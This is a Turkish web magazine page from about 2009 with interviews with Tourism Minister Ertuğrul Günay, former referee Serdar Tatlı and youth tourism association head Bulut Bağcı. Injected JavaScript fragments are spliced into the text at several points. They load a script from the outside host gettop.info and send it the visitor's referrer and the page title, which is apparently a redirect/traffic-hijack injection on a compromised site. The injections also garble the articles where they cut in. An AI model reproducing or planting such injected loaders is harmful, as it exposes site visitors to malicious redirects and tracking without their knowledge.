Denizcilik sektöründe kabotajda çalışan yük, yolcu, balıkçı, bilimsel araştırma gemileri, ticari yatlar ve hizmet araçlarına yönelik ÖTV’si indirilmiş yakıt uygulaması 2004′te başlandı.  2008 sonu itibariyle 309 milyon liralık ÖTV’yi tahsil etmeyerek sektöre destek sağladık.

Limanlara gelen kruvaziyer yolcu gemisi ise 2003′te 887′yken, geçen yıl yüzde 82′lik artışla bin 612′ye çıktı.  Aynı yıllar için limanları ziyaret eden yolcu sayısı da 581 bin 848′den, yüzde 275 artarak 1 milyon 605 bin 372′ye ulaştı. Bu rakamları yeterli bulmuyoruz, kruvaziyer yolcu taşımacılığının daha da geliştirilmesine yönelik çalışmalara devam ediyoruz. Öte yandan, şu anda üçyüz olan mavi bayraklı plaj sayısını bine çıkarmayı, marina sayısını da artırmayı amaçlıyoruz.

Ertuğrul Günay

Uludağ’daki son olaylar hakkındaki değerlendirmeleriniz nelerdir?

2009 yılının ilk inceleme çalışmasını Uludağ’da yaptım. Çevre ve Orman Bakanlığımızın gayretlerini bildiğim için biz de böyle bir başlangıç yapmak istedik. 2009 yılının ilk hafta sonunu çalışma arkadaşlarmla birlikte Uludağ’da geçirdim. Sektörü de orada toplayıp görüşlerini aldık.  Birinci gelişim bölgesinde teker teker bütün otelleri atlamadan gezdim. Gerçekten bir keşmekeş var.

1983 yılında Uludağ’la ilgili bir çevre düzenleme planı yapılmış 1961 yılında Milli Park statüsüne girmiş. 1980’lerden bu yana Uludağ’ın önemli bir turizm bölgesi olması konusunda niyet olmuş ama yeteri kadar gayret olamamış. Uludağ gibi Türkiye’de kış turizmi ile simgeleşmiş bir alanın 25 yıl sonra gelmesi gereken nokta kesinlikle bu değil. İnanılmaz bir biçimde kamu misafirhanesi talanı var. Her aklınıza gelen kurum bir misafirhane yapmış ve bunlar özel sektörle rekabet halinde. Bütün giderler devlet tarafından karşılandığı için fevkalade düşük fiyatta ve düşük kaliteyle hizmet veriyor.

Böyle dünya incisi bir mekanda gelişigüzel çarpık kentleşme anlayışı olamaz. Kamu misafirhanelerinin bir plan çerçevesinde tümüyle kaldırılması gerekir. Tümüyle sıfır tolerans göstermemiz gerekiyor. İçlerinde korunması gereken yapılar varsa onlar da özel işletmecilere turizm tesisi olarak değerlendirmeye açılabilir.

İkinci olarak,  özel teşebbüste de bir başına buyrukluk egemen hale gelmiş. Bu yakın tarihlere kadar, özel teşebbüs bir konaklama tesisi yapmış fakat konaklama merkezini eklenti yapılarla neredeyse iki katına çıkarmış,  bir sundurma yapmış onun altını teknik aksamla doldurmuş. Bunlar olmaz.

Bunların tümünün kaldırılması lazım. O bölgede doğa ile bütünleşmiş bir yeni yapılaşma düzeninin ortaya çıkarılması, bir mimari bütünlüğün sağlanması gerekiyor.

Sayın Bakanım tatil yapabiliyor musunuz? Yapıyorsanız nerelerde geçirmeyi uygun görüyorsunuz?

Son birkaç yıldır tatil yapmaya fırsat bulamıyorum. 20 yıldır Likya Bölgesi, Batı Akdeniz bölgesine gidiyordum. Tatilde müze ve ören yerlerini gezmekten hoşlanıyorum, arkeolojiyi çok seviyorum. Eskiden bu yana nerede bir sarı levha bulmuşsam, hemen orayı ziyarete yöneldim. Onun yararını şimdi görüyorum Geçmişten bu yana bildiğim birçok ören yeri ve müze var.

Biz turistik vize uygulamadığımız halde Yunanistan ne amaçla hala vize uygulamasını sürdürüyor? Bu konudaki görüşleriniz…

Önümüzdeki günlerde bu sorunun çözümleneceğini düşünüyorum. Bu konuda temaslarımız var ve olumlu adımlar atılacağını umuyorum.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Serdar Tatlı: “Futbol bir hata oyunudur”

serdar-tatlı
Yeşil sahaların eski efendi hakemlerinden

Serdar Tatlı açtı ağzını yumdu gözünü…

FUTBOL BİR HATA

OYUNUDUR

x Uluslar arası müsabakalarda ülkemiz hakemlerinin görev

alamama nedenlerinin başında onlara sahip çıkılmaması geliyor..

x Derbi maçları öncesi odama kapanır ve kural kitabını okurdum…

x Bizim camiaya daima kavga ortamında bundan da kurtulamıyor…

SERAP ÖZAKSOY

Eğrisi, doğrusu dedik. Faal görev yaptığı zamanlar çok karşılaşmasını izlediğim ve efendiliğinden aslı ödün vermeyen bir kişiliğe sahipti. Ben de dedim ki, bir hocayı arayalım, eğrisi ve doğrusu ile Türk Futbolunu, Türk Hakemliğine ve Vicdan Muhakemesini soralım dedim ve yeşil sahaların yerinde son derece sert, asla taviz vermeyen, ama bir sakatlık anından önce sporcusunu düşünen Sevgili Serdar Tatlı’yı aradım. Serdar hoca her zamanki kibarlığı ile sorularımıza açık açık cevaplar verdi şimdi söz onda…

Futbol hakemi olmak nereden aklınıza geldi…

Amatör düzeyde futbol oynarken sürekli gittiğimiz bir lokal vardı orda duydum. Hem hakemlik hem de antrenörlük kursunun açıldığı söylendi aslında o dönemlerde moda haline gelmişti bir sertifika olsun elimizde ileride lazım edebilir diye benimde elimde bulunsun diye hakem kursuna katıldım sene 1988…

Asıl mesleğinizi belirtmekte herhalde bir sakınca görmezsiniz. Bu konuda bizleri aydınlatır mısınız…
Ben bir kamuda görev yapıyorum Şanlıurfa Gençlik ve Spor İl Müdürlüğünde.

Kaç seneden beri spor camiası içerisindesiniz?

9 yaşındayken urfaspor minik takımında futbol oynamaya başladım yıldızlar,gençler amatör derken 22 yaşındayken hakem oldum işte halen bu camianın içersindeyim.

Aşağı yukarı kaç maç yönettiniz?

Tüm liglerde ortalama 300 civarında maç yönettim. Bunun 150 ye yakını süper lig maçlarıydı.

Sizi endişeye sevk eden bir karşılaşma oldu mu? Verdiğiniz karardan ötürü pişmanlık duyduğunuz oldu mu? Hangi maçtı…

Bakın futbol bir hatalar oyunudur. Teknik direktör futbolcu yönetici nasıl hatalar yapabiliyorlarsa hakemlerde bu oyunun bir parçası olarak hatalar yapmaktadır. Önemli olan bu hataları yaparken bilerek isteyerek yapmamak ben hakemlik hayatım boyunca bilerek ve isteyerek yanlış yapmadım ama bir sürü hatalar yaptım televizyondan veya CD den yönettiğim maçı izlediğimde yaptığım hatayı veya hataları gördüğümde eğer bu hatada skora etki edecek bir hata olmuşsa çok üzülmüşümdür. Böyle üzüldüğüm maçlar oldu tabi ki.Ama yönettiğim hiç bir maçtan sonra asla pişmanlık duymadım.

Uzun senelerden beri Türk hakemlerinin büyük organizasyonlarda yer almamasını nasıl yorumluyorsunuz…

Türkiye’de hafta sonları oynanan maçlar bakın hemen hemen her kanalda irdeleniyor. Kimse alınmasın ama bazı spor yazarları ve yorumcuları bir takıma duydukları sempatiliği maalesef göz ardı edemiyorlar olaylara taraf gözüyle bakıyorlar.Sanıyorum ki dünyanın hiç bir ülkesinde bizimki kadar hakem irdelenmiyor. Hakemlerimize karşı bir güvensizlik kavramı hakim Türkiye Futbol Federasyonu FIFA ve UEFA nın üyesi bizim hakemlerimiz bu kurullar tarafından takip ediliyorlar özelliklede FIFA hakemleri şimdi düşünün maç bitiyor hakem enine boyuna masaya yatırılıyor kasıtlı diyenler yetersiz diyenler birilerinden talimat aldı diyenler çok acımasızca eleştiriliyor bu durumda ben olsam FIFA veya UEFA nın yerinde şunu söylerim bunlar kendi hakemlerine güvenmeyip destek olmuyorlar nasılsa kendi içlerinde problem halindeler bizlerden bir şey istemezler deyip bizi hep bir kenara atmışlar. Tabii ki hakem potansiyeli ve hakem kabiliyeti becerisi de olması gerekiyor. Ama en önemlisi bizim ülke olarak hakemlerimize sahip çıkmamız gerekiyor daha sonra dünya platformunda onlardan bir şeyler beklememiz gerekecek.

Hakemlik kariyerinizde en zor karşılaşma desek!

Hiç bir maç asla kolay değildir. Sıradan bir maç gibi görürüsünüz hiç iddiasıda olmayan bir maç çok zor geçebilir. Ama genel olarak liğlerin sonlarında oynanan şampiyonluk ve küme maçları daha zordur. Hakem olarak bütün maçlara ama özelliklede son haftalardaki  maçlara daha önemli ve iyi hazırlanmak gerekiyor.

Derbi maçı yönetmek nasıl bir duygu? Böyle maçlar öncesi 24 saatinizi anlatabilir misiniz?

Hakem kendi kariyerinde derby maçı yönetmek ister. Derby maçları biliyorsunuz fikstür çekildiği anda hangi haftada derby maçları oynanacak öncelikle bunların haberleri yayınlanıyor. Böylesine herkesin konuştuğu bir müsabakayı yönetmek çok farklı bir duygudur. Özelliklede son 24 saati çok zor geçer ben otel odasına kapanırdım. Kural kitabını tekrar tekrar okurdum maç planı yapardım takımların oyuncuların durumlarına göre. Bunun haricinde belli aralıklarla müzik dinlerdim.

Maç öncesi belirli bir uğurunuz var mı?

Hayır belli bir uğurum yoktu. Ama her maçtan önce bir duam vardı mutlaka o duayı okur öyle maçlara çıkardım.

Hayatta her insanın bir ideali vardır. Siz bu idealinizi gerçekleştirdiniz mi?

Türkiye’de yönettim bu idealim gerçekleşti ama Brezilya-Arjantin maçı yönetmek isterdim.

Son senelerde maç atama kararlarını nasıl değerlendiriyorsunuz?

Bakın her M.H.K başarılı olmak ister. Bunun içinde ellerinden geleni yapmaya çalışırlar. Bazı M.H.K lar farklı bir tarz ve yöntem uygulayabiliyorlar. Bugünkü M.H.K geçen sezon alışagelmemiş bir uygulama yaptı uzun süreli hakem tayinleri yaptı bir hakemin 2 aylık sürede hangi maçları yöneteceğini belirledi. Bana göre yanlıştı çünkü bir hakem bir müsabakadan sonra en az 1 hafta dinlenmesi ve kendini toparlaması gerekiyor zaman zaman ard ardada maçlara çıkabilir ama bunu form durumuna göre belirlemek gerekiyor. Form düşüklüğü yaşayan hakemi mutlaka dinlendirmek daha doğru ama bunlar böyle yapmadılar ve zaman zaman bu konuda problem ve sıkıntılar yaşadılar o yüzden bu uygulamalarındada değişikliklere gitmek zorunda kaldılar.

Son zamanlarda hangi maça kimin atanacağı hafta başı belli oluyor. Bu haber sızmasını hafta sonu durum açıklanınca teyit ediyor. Hakemlerin bunlardan haberleri oluyor mu?

Size yukarıdaki bahsettiğim nedenlerde etkili olmuştur bu dışarı sızmalarda. Ama bazen bir maça kamuoyu zaman zaman tahminlerde bulunabiliyor bu tahminler doğru çıkabiliyor da Aslında bana göre çok abartılacak bir durum olmadığı kanaatindeyim. Neticede bir müsabakanın hakemi en az 3 gün önceden kamuoyuna duyuruluyor. Halen biz güvensizlik anlayışı içersinde bazı şeyleri gizlemek düşüncesindeyiz. ama kesinlikle hakemlerin bilgisi dışında gelişen olaylar bunlar.

Şimdi eski bir hakem olarak maçları izlediğinizde aynı heyecanı duyuyor musunuz? Verilen hatalı kararları nasıl yorumluyorsunuz?

Eski bir hakem olarak zaman zaman bu heyecanı yaşamamak mümkün değil. Şunu belirtmeden geçemeyeceğim hakemlik  kesinlikle kabiliyet ve beceri işi. Yöneticiler hakemlere yeni kural değişikliklerini ve sezon içerisinde yapılan hataları seminerlerde ders niteliğinde anlatırlar hatta sezon içersinde hakemleri tekrar toplayıp ara eğitimler verirler. Bundan sonrası hakeme kalmıştır hakem kendini çok iyi hazırlamalı ya müsabakaya iyi hazırlanmıyor ya da bazı şeylerden etkileniyor bu seyirci baskısı olabilir aman hata yapma korkusu olabilir sanırım hatalar bunlardan kaynaklanıyor.

Yaptığınız mesleklerden memnun musunuz? Dünyaya bir daha gelseniz ne olmak isterdiniz?

Dünyanın en farklı mesleklerinden bir hakemlik bazen kötü yönettiğiniz bir maçtan sonra size dünyayı zehir etmiş olsalar bile yani basında medyada yerden yere vurulmuş olsanız dahi hakemlikten kimse kolay kolay vazgeçemiyor. Bütün herkes sizi tanıyor insanlar size saygı gösteriyor bu ortamı gören kimse kolay kolay bu işten vazgeçmiyor zaten günümüzde bakın hakemlikten sonra eski hakemler ya yorumcu oluyorlar ya da hakem yöneticisi olmak için çabalıyorlar. O yüzdende bu camia hep bir kavga ortamından bir türlü çıkamıyor. Ben bir daha dünyaya gelsem yine hakem olmak isterdim ama yaptığım hakemlikten daha iyi hakemlik yapardım diye düşünüyorum.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Gençler İşbaşında…

Bulut bagcı

Artık her konuda olduğu gibi gençler iş başında… BULUT BAĞCI

Yeni kurulan ve amaçlarının sadece ülkemizi dışarıda ve içeride iyi tanıtmak olduğunu ilke edinen Genç Turizmciler Derneği’nin Başkanı…

Evet Bulut Bağcı Genç Turizmciler Derneği’nin Başkanı. Genç olduğu kadar da çalışkan ve müteşebbis bir yapıya sahip. Ülkemizin turizmdeki hataları ve günahlarını bakın nasıl anlatıyor. Biz sorduk o cevapladı. Ama gerçekleri sizler de okuduğunuzda hakikaten üzülerek anlayacaksınız. Fakat her ne kadar gerçekler acı olsa da; böyle gurur duyulacak gençlerimiz olduktan sonra artık sırtımız yere gelmez diyoruz ve sözü Sayın Bağcı’ya bırakıyoruz…

Türk turizmi 2009 sezonunda yerli bazında acaba bacasız sektör turizmi mutlu kılıyor mu?

Öncelikle belirtmek isterim, bu yıl ki rakamlar geçen yılın pek de altında kalacak gibi görünmüyor. Bakanlık tarafından yapılan düzenlemeler ve öncü bir kaç STK’nın çalışmaları turizmcileri memnun kılacak gibi. Turizmciler sene başında bir umutsuzluğu kapıldılar, hepimizin bildiği gibi sezon ortasında gelen KDV artışı gibi etkenler moralleri olumsuz etkiledi. Ama sonradan bir yükseliş başladı. Sözün kısası sektör, yaşanan olumsuzluklara rağmen hala ümidini kaybetmiş değil. Özellikle biz gençler, gerek yatırımcı ayağında gerekse profesyonel bağlamda, işimizi en iyi düzeyde yapmaya odaklandık. Eminiz ki biz işimizi iyi yaptıkça, sektör de bundan payını alacaktır.

Size göre yabancıların Türkiye’de en çok tercih ettikleri şehirler nereleri oluyor. Tercih sebepleri nelerdir?

Turizm bakanlığının verilerine göre 2008 yılı toplamında ülkemize gelen toplam turist sayısı 26. 33 milyon kişi. Bir önceki yılın rakamlarına göre yüzde 13’lük bir artış söz konusu. Bu da önemli bir artış olarak göze çarpmakta. Bu turistlerin 32.52’lik kısmı olan 8.56 milyon kişi Antalya ilimiz sınırlarından ülkemize giriş yapmış. Yüzde 26.77’si olan 7.05 milyonluk kesim de İstanbul’dan ülkemize giriş yapmış. Üçüncü büyük turizm destinasyonu olarak da, bu miktarın yüzde 10.92’si olan 2.87 milyon kişiyi misafir eden Muğla göze çarpmakta. Şimdi buradaki istatistik verilerinden çeşitli anlamlar çıkartmak mümkün. Ülkemizi ziyaret eden turistlerin yüzde 70’i yakın bölümü bu üç şehir etrafında yoğunlaşmış durumda. Özelilikle Antalya ve Muğla gibi yaz turizmi yapan şehirlerimize gelen turist sayılarını dikkate aldığımızda, bu turistlerin her şey dahil sistemi çerçevesinde ülkemize geldikleri ve tercih sebebi olarak da, sahil, güneş, ve deniz üçlemesinin sayabiliriz. Bilindiği üzere, hem tesis kalitesi bakımından, hem de fiyatların cazip olması hasebiyle, bu bölgeler; Almanya, Rusya ve bazı diğer Avrupa ülkelerinde, tatil için fazla para harcayamayan orta ve orta-alt sınıf turistler için en çok tercih edilen mekanlar. İstanbul konusu tamamen başka bir anlam ifade ediyor. İstanbul, aldığı turist sayısıyla ikinci sırada geliyor, ancak İstanbul’u ziyaret eden turistlerin akıllarındaki tatil kavramı, Güney bölgelerine gidenlerden tamamen farklı. Bunlar, İstanbul’un tarihi ve kültürel güzelliklerini görmek için burayı tercih ediyorlar. Aslında, diğer önemli bir veri de, bu yöreleri ziyaret eden turistler arasındaki belirgin sosyal farklıklılar. Örneğin, eğitim seviyesi orta ve ortanın altında Alman ve Rus’ların çoğunlukta olduğu gruplar Güney bölgelerindeki tatil paketlerine rağbet gösterirken; İstanbul’u hemen hemen dünyanın her yerinden, göreli manada eğitim seviyesi daha yüksek ve varlıklı turistler tercih ediyor. Bu da, turistlerin ülkemizde yaptıkları harcamalara ilgili fikir sahibi olmamız konusunda bize ipucu vermekte. Daha açık ifadeyle, İstanbul’a gelen turistin ortalama günlük harcama oranı, Antalya’ya gelen turistinkini 3’e katlayabiliyor.

Türkiye’nin dış tanıtımında sizce eksik noktalar var mı? Var ise sizce bunun alternatifleri neler olabilir…

Türkiye’nin dış tanıtımıyla ilgili olarak bir takım eksikliklerin olduğu bir gerçek, ancak bu konuda eleştirilerin sadece resmi kurumlar üzerine yoğunlaşmasını, yani suçun sadece Turizm ve Kültür Bakanlığı’na atılmasını, kabul etmiyorum. Çünkü, evet Türkiye dışarıda daha iyi tanıtılabilir, ancak bunda bakanlık kadar bu alanda iş yapan firmalardan tutun da, turizmle ilgili sivil toplum kuruluşlarına kadar herkes sorumluk sahibi olmalı. Sürekli vurguladığımız bir konu var: “Turizm ülkemizin bacasız sanayisi. Cari açık bile turizmden elde edilen sıcak para sayesinde kapanıyor. İşte bilmem kaç kişi Turizm sayesinde ekmek buluyor”, gibi… Madem, Turizm bu kadar önemli, hani nerede bu konuyla ilgilenen sivil toplum kuruluşları? Nerede AB fonlarından destek alıp, tanıtım projeleri yapan dernekler? Nerede bu sektörde iş yapan ve otel zincirleri olan büyük patronlar? Sadece tur operatörleriyle anlaşarak, oda satmakla bu işler olmaz. Veya, işte “bizde kum, sahil, deniz, güneş var” demekle olmaz. Bir de, bu alanın global bir rekabet alanı olduğunu bilmek lazım. Oyunu kuralına göre oynamak gerek.

Zaten, Genç Turizmciler Derneği’nin kuruluş amaçlarında birisi de, ülkemizin tanıtımına katkıda bulunacak projeleri gerçekleştirmek. Bu konuda bu güne kadar gençleri oyuna çekecek cazip bir çalışma yapılmamış. Biz bu alanda, gençlerin enerjisini kullanmayı ve ülkemiz turizmini geliştirmeyi hedefliyoruz. Şu ana kadar “Genç Turizmciler Zirvesi” de dahil olmak üzere, on bire yakın proje gerçekleştirdik. Üniversite üniversite dolaştık, konferanslar paneller düzenledik. Turizmde kalitenin artması için, eğitimli genç beyinlerin istihdamı konusunda çabalıyoruz. Ülkemizin tanıtımına katkı yapacak olan uluslararası projelerimiz yazım aşamasında. Gelecek yıl dünyanın en prestijli okullarından öğrencileri İstanbul’da bir araya getirmeyi düşündüğümüz bir projemiz var. AB fonlarından yararlanmak ve ülkemizi tanıtmak için proje yazan alt gruplarımız var. Yani burada bahsetmek istediğim, tanıtım sadece Turizm Bakanlığı’nın yurtdışındaki fuarlara broşür göndermesi veya stant açmasıyla olmaz. Ki bunu sadece bakanlıktan beklemek de haksızlık olur diye düşünüyorum. Tanıtım işi bir süreçtir. Turistin tatil yapmaya karar verdiği andan, tatil yaptığı yerden ayrıldığı ana kadarki süreci öylece kapsar. Tanıtım yapmak demek imaj yaratmaktır. İmaj yaratmak da sadece birilerinin çabasıyla gerçekleştirilecek bir şey değil. Bu ülkeyi bir Turizm markası haline getirmek istiyorsak, bakanlığından bürokrasisine, işverenden çalışanına, gencinden yaşlısına, bu alanda var olmak isteyen herkesin elini taşın altına koyması gerekiyor.

Ülkemiz insanının seyahat denilince aklına ilk gelen yer nereleri oluyor?

Ülkemiz gelişmekte olan bir ülke olduğu için, orta sınıf kavramı yeni yeni var olmaya başladı. Bu sebeple, yakın tarihlere kadar tatil yapmak halk arasında yaygın olmayan ve belli bir zümrenin tekelinde, lüks bir ihtiyaç olarak görülmekteydi. Ancak, ekonomik kalkınma ve zenginleşmeyle birlikte, insanımız tatil konusunda eski alışkanlıklarını yavaş yavaş kırmaya başladı. Aile bütçesinden tatil için de para ayırmaya başladı.Bu süreçle birlikte, ilk tercih edilen yerler Güney bölgelerindeki tatil yöreleri oldu. Ancak, yabancı turiste ayrı, yerli turiste ayrı uygulanan tarifeler sebebiyle, insanımız bu alanların alternatifi olan ve yerli turiste de aynı hizmeti veren alanlara yöneldi. Gelir düzeyi orta ve biraz altı olan aileler için 3 ve 4 yıldızlı oteller, pansiyonlar ve çeşitli konaklama yerleri cazip gözüküyor. İl bazında bunları sınıflandırmak mümkün olmadığı için, bu çeşit yerli turistlerin Turizm bölgesi olarak nitelendirilebilecek her yöreye gittiğini söylemek mümkün. Orta üstü ve üst sınıf yerli turistin genelde tercih ettiği mekanlar da, malumunuz eskiden bu yana pek bir değişiklik göstermiş değil. Buralara, Bodrum, Kemer, Fethiye, Kıbrıs gibi yerler örnek gösterilebilir.

Türkiye’de yabancılar tarafından daha hala keşfedilmemiş bir çok yöre bulunuyor. Acaba hata kimde?

Bulut Bağcı

Evet, Anadolu baştanbaşa tarihi ve kültürel güzelliklerle dolu harika bir coğrafya. Bırakın yabancı turisti, daha bizim bile bilmediğimiz birçok güzellik mevcut Anadolu’da. Ancak bu güzellikler Turizmin hizmetine sunulduğu zaman bir anlam ifade diyor ülkemiz açısından. Peki, bu değerlerimizi tanıtma noktasında neler yapabiliriz? Bu tamamen bir pazarlama stratejisi. Bir bakıyorsunuz, bizim sahip olduğumuz güzelliklerin üçte birine bile sahip olmayan ülkeler kendilerini öyle bir pazarlamışlar ki, her yıl milyonlarca turistin ilgisini çekmeyi başarıyorlar. Mesela, bir yılda Paris’e giden turist sayısıyla, Türkiye’ye toplamda gelen turist sayısı ne yazık ki neredeyse aynı. Bu bir pazarlama olayı. Bu bir imaj yaratma meselesi. Biz de kendi değerimizi, imajımızı oluşturmalıyız. Bunu oluştururken de, kalite, marka, konfor, güven gibi kavramlara vurgu yapmalıyız. Örneğin, bir süre önce “Marka Şehirler” adı altında bir proje hayata geçirildi Turizm Bakanlığı tarafından. Peki, ne oldu o proje? Bunu anlayacak ve hayata geçirecek vizyonu olmayan insanlar yüzünden bu proje çöpe gitti gibi bir şey. Şimdi durup düşünmek gerek, biz nerede hata yapıyoruz diye. Yıllarca bu ülkede Turizme amiyane tabirle, “kolpa iş” gözüyle bakılmış. Evet bakanlık bir proje hayata geçiriyor, ama bunu gerçekleştirecek kapasitede bir turizm bürokrasisi var mı ülkede, işte bu muamma. Bu “Marka Şehirler” projesinde ben, Turizm il müdürlüklerinin ve belediyelerin gösterdiği performansı hiç tasvip etmedim doğrusu. Yani kısaca şunu belirtmek istiyorum: “Suçlu şudur, suçlu budur…” tarzında bir yaklaşımda bulunmak aslında yanlış. Turizm, içerisinde birçok dinamiği barındıran kapsamlı bir sektör ve buradaki defoları sadece belli birilerinin üzerine atmak çok da doğru olmasa gerek. Bence suç hepimizin, Turizme gereken önemi vermediğimiz için bütün toplumun bu suçta payı var. Mesela, bizim derneğimizin sloganı şu: “Turizme Hak Ettiği Değeri Vermek için Gelin Genç Turizmciler de Buluşalım.” Yani gereken değeri vermek gerek. Bu konunun ciddiyetini kavramak gerek.

Bu senenin yarısını tamamlamış vaziyetteyiz. Sizin gelecek sene ile ilgili görüşleriniz nelerdir?

Gelecek yılki büyüme de bu yılki gibi olur diye düşünüyorum, yüzde 10-15 civarlarında. Belki İstanbul 2010 Kültür Başkenti vesilesiyle, İstanbul’a gelen ziyaretçi sayısında bir artış gözlenebilir. Ama diğer bölgeler için çok büyük bir patlama olmasını beklemek yanlış olur diye düşünüyorum. Çok olağanüstü bir durum olmadığı sürece, büyümenin devam edeceğine inanıyorum.

Son olarak da gelecek yıl bildiğiniz gibi 2010 İstanbul Avrupa Kültür başkentiyiz. Bu konuda sizin derneğinizin hükümete veya ilgililere teklifleri neler oldu.

Öncelikle şunu belirtmek istiyorum: 2010 Kültür Avrupa Kültür Başkenti olmak, İstanbul’un tanıtımı için çok önemli bir fırsat. Bu olay ilk olarak Türkiye’nin gündemine geldiği zaman, hem Büyükşehir Belediyesi hem de diğer yetkili birimler, İstanbul’un Avrupa Kültür Başkenti seçilmesi konusunda çok çaba gösterdiler. Gerçekten muazzam bir istek ve heyecan söz konusuydu. Herkes, “şu projeyi yapacağız, bunu hayata geçireceğiz” tarzında yoğun bir çalışma içerisindeydi. Kurullar kuruldu, danışma meclisleri oluşturuldu, projeler için isimler bulundu. Ama ne yazık ki, zaman ilerledikçe heyecan kaybolmaya başladı. En son danışma kurulu üyeleri istifa falan etti. Elle tutulu ciddi projeler için hala düğmeye basılamadı. Bu konuda, yöneticilere tavsiyem, eski heyecanı ve isteği tekrar kazanmaları ve bu büyük fırsatın İstanbul’a neler kazandırabileceğini tekrar düşünmeleri. Ayrıca, bu konuda sadece belediyeyi veya yöneticileri de sorumlu tutmak istemiyorum. Çünkü, bu konu için belediyenin bütçesinde projelere ayrılmış önemli paralar var, ama ne dernekler olsun ne de diğer sivil toplum örgütleri sağlam projeler yazıp belediyenin ve AB’nin verdiği ödeneklere talip olmuyor. Aslında bu alanda yapılması gereken o kadar çok proje var ki. Mesela, biz gelecek yıl İstanbul’un tanıtımı için hayata geçireceğimiz bir projemizi bu kaynaklardan fonlandırmak için girişimlere başladık bile. Ben inanıyorum, bu ülkede iyi şeyler yapmak isteyenlere destek verecek o kadar çok kaynak var ki. Yeter ki istekli olalım. Yeter ki çalışkan olalım.

Bulut Bağcı, 27 Haziran 1985’te Çorum’da doğdu. Boğaziçi Üniversitesi Turizm İşletmeciliği Bölümü’nü bitirdi. Üniversite hayatı boyunca birçok projede yönetici olarak yer aldı. Çalışma hayatına ilk, Conrad İstanbul’da yönetici adayı olarak başladı. Başarılı bir süreçten sonra, aynı pozisyonla Ritz- Carlton İstanbul’da devam etti. 2007 Mayıs itibarı ile Çırağan Palace Kempinski otelde Finans Bölümü’nde çalışmasını sürdüren Bağcı, otelin çeşitli bölümlerinde farklı görevlerde bulunmuştur. Türkiye Turizminde ilk gençlik hareketini başlatan Bağcı, Genç Turizmciler Derneği ile başarılı projelere imza atmıştır. Genç Turizmciler Zirvesi ile sektör yöneticilerini gençler ile buluşturmuştur. Turizm medyasında da yer alan Bağcı, turizmci gençleri konu alan yazıları ile dikkat çekmektedir. Uluslar arası Turizm Asamblesi ile dünyaca ünlü okulların öğrenci konseyi başkanları ile turizm üzerine bir toplantı yapmayı planlayan Bağcı, turizmin gelecekteki gülen yüzüdür.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP